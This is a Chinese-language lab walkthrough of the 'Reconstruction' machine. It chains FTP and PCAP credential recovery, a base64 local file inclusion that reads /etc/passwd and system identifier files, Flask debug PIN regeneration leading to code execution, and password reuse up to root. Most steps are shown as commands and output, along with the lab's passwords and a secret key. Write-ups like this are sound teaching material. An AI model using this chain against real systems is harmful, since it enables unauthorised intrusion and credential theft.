演练
重建开发指南
概括
我们将利用 Flask 应用程序中的本地文件包含漏洞来启用调试模式。然后,我们将通过在历史文件中相当幽默地披露根用户凭据来升级。
枚举
地图
首先,简单的nmap
扫描显示端口 21、22 和 8080 已打开。
kali@kali:~$ sudo nmap 192.168.120.121
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-05 11:06 EDT
Nmap scan report for 192.168.120.121
Host is up (0.040s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
8080/tcp open http-proxy
扫描带有flag的21端口-sC
表示允许匿名登录。
kali@kali:~$ sudo nmap -p 21 192.168.120.121 -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-05 12:03 EDT
Nmap scan report for 192.168.120.121
Host is up (0.029s latency).
PORT STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 0 0 4096 Apr 29 18:16 WebSOC
|_-rw-r--r-- 1 0 0 137 Apr 29 18:17 note.txt
...
此外,FTP 服务器包含两个文件:note.txt和WebSOC。
模糊模糊
在端口 8080 上运行的网站没有显示任何有趣的内容,但wfuzz
显示了两个隐藏目录:/login和/data。
kali@kali:~$ wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.120.121:8080/FUZZ/
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.0.1 - The Web Fuzzer *
********************************************************
Target: http://192.168.120.121:8080/FUZZ/
Total requests: 949
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000216: 302 3 L 24 W 257 Ch "create"
000000236: 302 3 L 24 W 253 Ch "data"
000000487: 200 75 L 138 W 2297 Ch "login"
000000490: 200 66 L 126 W 2011 Ch "logout"
...
导航到/login,系统会提示我们输入密码。我们稍后再讨论这一点。
戈巴斯特
Gobuster
接下来,我们将使用(以及/usr/share/wordlists/dirb/common.txt单词列表)扫描网站,这会显示/console目录。
kali@kali:~$ gobuster dir -u http://192.168.120.121:8080 -w /usr/share/wordlists/dirb/common.txt -z
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
...
===============================================================
2020/10/06 09:08:16 Starting gobuster
===============================================================
/console (Status: 200)
...
导航到/console端点,我们发现调试控制台功能,根据位置,它似乎是一个 Flask 应用程序。然而,这需要 PIN 码才能解锁,此时我们无法猜测或破解 PIN 码。
开发
PCAP 文件检查
接下来,我们将登录并从 FTP 服务器检索发现的文件。
kali@kali:~$ ftp 192.168.120.121
Connected to 192.168.120.121.
220 (vsFTPd 3.0.3)
Name (192.168.120.121:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Apr 29 18:16 WebSOC
-rw-r--r-- 1 0 0 137 Apr 29 18:17 note.txt
226 Directory send OK.
ftp>
ftp> get note.txt
local: note.txt remote: note.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note.txt (137 bytes).
226 Transfer complete.
137 bytes received in 0.01 secs (21.2634 kB/s)
ftp>
ftp> cd WebSOC
250 Directory successfully changed.
ftp>
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 3086771 Apr 29 17:14 1.05.2020.pcap
-rw-r--r-- 1 0 0 869677 Apr 29 16:32 29.04.2020.pcap
-rw-r--r-- 1 0 0 14579662 Apr 29 16:36 30.04.2020.pcap
226 Directory send OK.
ftp>
ftp> get 1.05.2020.pcap
local: 1.05.2020.pcap remote: 1.05.2020.pcap
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 1.05.2020.pcap (3086771 bytes).
226 Transfer complete.
3086771 bytes received in 0.61 secs (4.8217 MB/s)
ftp>
ftp> get 29.04.2020.pcap
local: 29.04.2020.pcap remote: 29.04.2020.pcap
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 29.04.2020.pcap (869677 bytes).
226 Transfer complete.
869677 bytes received in 0.34 secs (2.4436 MB/s)
ftp>
ftp> get 30.04.2020.pcap
local: 30.04.2020.pcap remote: 30.04.2020.pcap
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 30.04.2020.pcap (14579662 bytes).
226 Transfer complete.
14579662 bytes received in 2.22 secs (6.2512 MB/s)
ftp> bye
221 Goodbye.
kali@kali:~$
note.txt的内容包括以下内容:
kali@kali:~$ cat note.txt
I've just setup the new WebSOC! This should hopefully help us catch these filthy hackers!
TODO: remove leftover passwords from testing
kali@kali:~$
TODO
在我们前进的过程中,我们将牢记这一评论。
WebSOC文件夹包含三个 PCAP 文件,我们可以使用Wireshark
.大多数信息都是无用的,但1.05.2020.pcap13745
中的数据包编号揭示了 Web 应用程序的管理员密码 ( ):1edfa9b54a7c0ec28fbc25babb50892e

我们现在可以使用恢复的密码登录。
线性FI
现在我们已经通过了应用程序的身份验证,我们将把注意力转回扫描显示的/datawfuzz
端点。为了探测它,我们将设置浏览器以使用Burp
代理并导航到/data,它提供了一个简单的Hello World!
.服务器响应不包含任何有趣的内容。
但是,浏览到会/data/FUZZ
出现Something went wrong!
错误,并且服务器会响应以下内容:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 21
X-Error: [Errno 2] No such file or directory: '\x15FY'
Vary: Cookie
Set-Cookie: session=.eJwli1EKgCAQBa-yvG_pAN0kQkRsK8HWcJU-xLsX9DUwzHS4PXk9WTGvHVQ_QFsIrAqDJTfyhUnyQykfB28UZYId1sDdXC4vLN9TS2ODv3BRfjFex6kgSA.X3xxxQ.tC04bOvFnBdF0GOiPLx45LBTeeM; Expires=Fri, 06-Nov-2020 13:31:49 GMT; HttpOnly; Path=/
...
X-Error: [Errno 2] No such file or directory: '\x15FY'
这里需要注意这条线。
进一步测试,我们可以请求/data/a
返回以下响应:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 13
X-Error: Incorrect padding
...
这通常是与 Base64 解码相关的错误。如果我们a
用base64编码,它就变成了YQ==
。我们试试http://192.168.120.121:8080/data/YQ==,它返回以下错误:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 21
X-Error: [Errno 2] No such file or directory: 'a'
...
此类错误表明我们也许能够利用应用程序中的本地文件包含漏洞。让我们用/etc/passwd(base-64 编码为L2V0Yy9wYXNzd2Q=
)来测试它,它变成了 http://192.168.120.121:8080/data/L2V0Yy9wYXNzd2Q= :
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
jack:x:1001:1001::/home/jack:/bin/bash
包含成功,我们看到了文件的内容。
现在,我们将记下用户jack
。
现在我们已经确认了 LFI 漏洞,我们需要找到一种方法来利用它来进一步利用。经过一番调查后,我们发现我们无法包含带有py
、txt
、pyc
、ini
或conf
扩展名的文件。
回想一下,这是一个具有启用(但锁定)调试控制台的 Flask 应用程序,让我们研究一下潜在的绕过方法。阅读这篇博文,我们发现我们可以通过利用 LFI 漏洞来重新创建 Flask 调试引脚。
我们应该能够使用此脚本执行此操作,但首先我们需要三个文件的内容:/etc/machine-id ( L2V0Yy9tYWNoaW5lLWlk
)、/proc/self/cgroup ( L3Byb2Mvc2VsZi9jZ3JvdXA=
) 和/sys/class/net/INTERFACE_NAME/address。我们通过浏览 http://192.168.120.121:8080/data/L2V0Yy9tYWNoaW5lLWlk 来发现/etc/machine-id中的机器 ID :
00566233196142e9961b4ea12a2bdb29
/proc/self/cgroup文件(http://192.168.120.121:8080/data/L3Byb2Mvc2VsZi9jZ3JvdXA=)包含以下内容:
12:perf_event:/ 11:freezer:/ 10:hugetlb:/ 9:rdma:/ 8:pids:/system.slice/blog.service 7:memory:/system.slice/blog.service 6:cpuset:/ 5:net_cls,net_prio:/ 4:devices:/system.slice/blog.service 3:blkio:/system.slice/blog.service 2:cpu,cpuacct:/system.slice/blog.service 1:name=systemd:/system.slice/blog.service 0::/system.slice/blog.service
这里需要注意的值为blog.service
.
最后,我们需要网络接口的 MAC 地址。不幸的是,我们不知道目标正在使用的接口的名称,但我们可以尝试一些更常用的名称。最终,我们检测到ens160
,将感兴趣的文件解析为/sys/class/net/ens160/address ( L3N5cy9jbGFzcy9uZXQvZW5zMTYwL2FkZHJlc3M=
)。
导航到该地址,我们发现 MAC 地址为00:50:56:8a:fc:e8
或345049332968
十进制。
远程代码执行
现在我们已经拥有重新创建 Flask 调试 PIN 所需的所有信息,我们可以尝试获得远程代码执行。我们可以使用脚本重新创建 PIN:
kali@kali:~$ python3 get_flask_pin.py --machineid '00566233196142e9961b4ea12a2bdb29blog.service' --uuid 345049332968
[!] App.py base path not provided, trying for most versions of python
2.7: 808-636-148
3.0: 326-388-942
3.1: 497-064-428
3.2: 134-262-617
3.3: 190-791-220
3.4: 238-677-304
3.5: 210-728-119
3.6: 173-509-958
3.7: 159-262-052
3.8: 751-326-702
kali@kali:~$
尽管我们不知道目标正在运行的 python 的确切版本,但我们可以尝试所有这些 PIN。最终,我们的 3.6 版本取得了成功。
但是,根据该特定计算机的引导周期期间发生的某些事件,/proc/self/cgroup有时不包含在调试 PIN 的计算中。事实上,这个异常是在这次特定的启动过程中发生的。因此,我们无法成功获取 PIN 值173-509-958
。
在这种情况下,我们将重新运行 Python 脚本来删除blog.service
(已附加到机器 ID 中):
kali@kali:~$ python3 get_flask_pin.py --machineid '00566233196142e9961b4ea12a2bdb29' --uuid 345049332968
[!] App.py base path not provided, trying for most versions of python
2.7: 120-566-406
3.0: 438-454-566
3.1: 207-828-493
3.2: 414-794-431
3.3: 359-376-798
3.4: 150-123-880
3.5: 207-574-021
3.6: 299-818-227
3.7: 327-733-603
3.8: 224-299-250
kali@kali:~$
在这种情况下,PIN 码299-818-227
是正确的,我们可以继续。解锁调试控制台后,我们获得RCE:
>>> import os
>>> os.popen("id").read()
'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n'
>>>
升级
Flask 应用枚举
虽然此时我们可以获得反向 shell,但我们可以通过另一种方式升级。知道这是一个 Flask 应用程序,让我们回顾一下主app.py文件:
>>> print(os.popen("cat app.py").read())
#!/usr/bin/python3
import datetime
import functools
import os
import re
import urllib
from base64 import b64decode
import getpass
import flask
from flask import (Flask, flash, Markup, redirect, render_template, request,
Response, session, url_for)
from markdown import markdown
from markdown.extensions.codehilite import CodeHiliteExtension
from markdown.extensions.extra import ExtraExtension
from micawber import bootstrap_basic, parse_html
from micawber.cache import Cache as OEmbedCache
from peewee import *
from playhouse.flask_utils import FlaskDB, get_object_or_404, object_list
from playhouse.sqlite_ext import *
#ADMIN_PASSWORD = 'ee05d64d2528102d45e2db60986727ed'
ADMIN_PASSWORD = '1edfa9b54a7c0ec28fbc25babb50892e'
APP_DIR = os.path.dirname(os.path.realpath(__file__))
DATABASE = 'sqliteext:///%s' % os.path.join(APP_DIR, 'blog.db')
DEBUG = False
SECRET_KEY = '2d82e3a08a632feb12a4d2e1159a224750480122a1fb9845e67a7305cfff4ec8'
...
>>>
该应用程序包含注释掉的管理员用户密码 ( #ADMIN_PASSWORD = 'ee05d64d2528102d45e2db60986727ed'
)。回想一下我们从 FTP 服务器恢复的note.txt文件的内容:
...
TODO: remove leftover passwords from testing
让我们利用这个被遗忘的待办事项。
SSH
由于该系统上有两个用户帐户(jack
和root
),让我们大胆猜测一下,该 Flask 密码可能与系统用户帐户共享。虽然该密码不适用于 root,但我们可以jack
使用密码登录ee05d64d2528102d45e2db60986727ed
。
kali@kali:~$ ssh jack@192.168.120.121
...
jack@reconstruction:~$ id
uid=1001(jack) gid=1001(jack) groups=1001(jack)
jack@reconstruction:~$
当我们枚举主目录时,我们发现/home/jack/.local/share/powershell/PSReadLine/ConsoleHost_history.txt这是一个 PowerShell 历史文件。我们来看看这个文件的内容。
jack@reconstruction:~$ cat .local/share/powershell/PSReadLine/ConsoleHost_history.txt
Write-Host -ForegroundColor Green -BackgroundColor White Holy **** this works!
Write-Host -ForegroundColor Red -BackgroundColor Black Holy **** this works as well!
su FlauntHiddenMotion845
clear history
clearr
cls
exit
jack@reconstruction:~$
这段历史表明了一个相对常见的错误。用户jack
不小心在命令行中输入了 root 密码su
。意识到错误后,jack
跑去clear history
尝试清除历史记录,但清除 PowerShell 历史记录的正确命令是,Clear-History
因此尝试失败。然后,jack
运行clearr
清除屏幕,这也失败了,因为正确的命令是clear
。最后,jack
rancls
是一个 PowerShell 别名,可以清除屏幕,但不影响历史记录。经过所有这些努力后,jack
将明文密码留在历史文件中。
让我们使用此密码尝试以 root 身份登录:
jack@reconstruction:~$ su
Password:
root@reconstruction:/home/jack# whoami
root
root@reconstruction:/home/jack#